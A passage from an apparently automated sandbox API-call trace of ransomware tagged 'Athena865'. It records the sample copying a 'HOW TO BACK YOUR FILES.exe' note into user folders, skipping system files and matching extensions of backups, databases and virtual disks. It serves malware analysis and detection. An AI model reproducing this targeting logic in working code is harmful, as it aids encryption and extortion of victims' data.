lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.843] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.843] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.843] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.843] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0053.843] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0053.844] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0053.844] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0053.844] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0053.844] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0053.844] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0053.844] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0053.844] lstrcpyW (in: lpString1=0x241e8a6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0053.844] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0053.844] lstrlenW (lpString="Athena865") returned 9 [0053.844] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.844] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.844] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.844] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1 [0053.844] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1 [0053.844] lstrlenW (lpString="My Music") returned 8 [0053.844] lstrcpyW (in: lpString1=0x241e8a6, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0053.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cbe8 [0053.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52db10 [0053.844] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0053.844] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0053.845] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.845] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1 [0053.845] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1 [0053.845] lstrlenW (lpString="My Pictures") returned 11 [0053.845] lstrcpyW (in: lpString1=0x241e8a6, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0053.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cbd0 [0053.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x502528 [0053.846] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0053.846] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0053.846] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.846] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1 [0053.846] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1 [0053.847] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1 [0053.847] lstrlenW (lpString="My Videos") returned 9 [0053.847] lstrcpyW (in: lpString1=0x241e8a6, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0053.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52adc8 [0053.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5025a8 [0053.847] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0053.847] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0053.847] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.847] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0053.847] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.847] ReleaseMutex (hMutex=0xec) returned 1 [0053.847] CloseHandle (hObject=0xec) returned 1 [0053.847] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\NetHood" | out: lpString1="C:\\Documents and Settings\\Default\\NetHood") returned="C:\\Documents and Settings\\Default\\NetHood" [0053.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528950 | out: hHeap=0x4f0000) returned 1 [0053.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc00 | out: hHeap=0x4f0000) returned 1 [0053.848] lstrlenW (lpString="C:\\Documents and Settings\\Default\\NetHood") returned 41 [0053.848] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E4A16415D230C48F95427125025C94FB") returned 0xec [0053.848] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.848] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\NetHood" | out: lpString1="C:\\Documents and Settings\\Default\\NetHood") returned="C:\\Documents and Settings\\Default\\NetHood" [0053.848] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.848] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\nethood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.848] GetLastError () returned 0x0 [0053.848] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.849] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.849] CloseHandle (hObject=0xf4) returned 1 [0053.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.849] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.849] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\NetHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.850] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.850] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.850] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.850] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.850] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.850] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.850] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.850] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.850] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.850] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.850] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.850] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.850] ReleaseMutex (hMutex=0xec) returned 1 [0053.850] CloseHandle (hObject=0xec) returned 1 [0053.850] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Pictures" | out: lpString1="C:\\Documents and Settings\\Default\\Pictures") returned="C:\\Documents and Settings\\Default\\Pictures" [0053.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5289b0 | out: hHeap=0x4f0000) returned 1 [0053.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc18 | out: hHeap=0x4f0000) returned 1 [0053.850] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Pictures") returned 42 [0053.850] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DC9DD0F11CBC2C06767DC0736B276C75") returned 0xec [0053.850] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.850] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Pictures" | out: lpString1="C:\\Documents and Settings\\Default\\Pictures") returned="C:\\Documents and Settings\\Default\\Pictures" [0053.850] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.851] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.851] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.851] GetLastError () returned 0x0 [0053.851] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.851] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.852] CloseHandle (hObject=0xf4) returned 1 [0053.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.852] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.852] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.852] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.852] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.852] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.852] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.852] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.852] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.852] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.852] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.852] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.852] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.852] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.852] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.853] lstrlenW (lpString="desktop.ini") returned 11 [0053.853] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.853] lstrlenW (lpString="desktop.ini") returned 11 [0053.853] lstrlenW (lpString="Athena865") returned 9 [0053.853] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.853] lstrlenW (lpString=".dll") returned 4 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.853] lstrlenW (lpString=".lnk") returned 4 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.853] lstrlenW (lpString=".ini") returned 4 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.853] lstrlenW (lpString=".sys") returned 4 [0053.853] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.853] lstrlenW (lpString="desktop.ini") returned 11 [0053.853] lstrlenW (lpString="bak") returned 3 [0053.853] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.853] lstrlenW (lpString="ba_") returned 3 [0053.853] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.853] lstrlenW (lpString="dbb") returned 3 [0053.853] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.853] lstrlenW (lpString="vmdk") returned 4 [0053.854] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.854] lstrlenW (lpString="rar") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.854] lstrlenW (lpString="zip") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.854] lstrlenW (lpString="tgz") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.854] lstrlenW (lpString="vbox") returned 4 [0053.854] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.854] lstrlenW (lpString="vdi") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.854] lstrlenW (lpString="vhd") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.854] lstrlenW (lpString="vhdx") returned 4 [0053.854] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.854] lstrlenW (lpString="avhd") returned 4 [0053.854] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.854] lstrlenW (lpString="db") returned 2 [0053.854] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.854] lstrlenW (lpString="db2") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.854] lstrlenW (lpString="db3") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.854] lstrlenW (lpString="dbf") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.854] lstrlenW (lpString="mdf") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.854] lstrlenW (lpString="mdb") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.854] lstrlenW (lpString="sql") returned 3 [0053.854] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.854] lstrlenW (lpString="sqlite") returned 6 [0053.855] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.855] lstrlenW (lpString="sqlite3") returned 7 [0053.855] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.855] lstrlenW (lpString="sqlitedb") returned 8 [0053.855] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.855] lstrlenW (lpString="xml") returned 3 [0053.855] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.855] lstrlenW (lpString="$er") returned 3 [0053.855] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.855] lstrlenW (lpString="4dd") returned 3 [0053.855] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.855] lstrlenW (lpString="4dl") 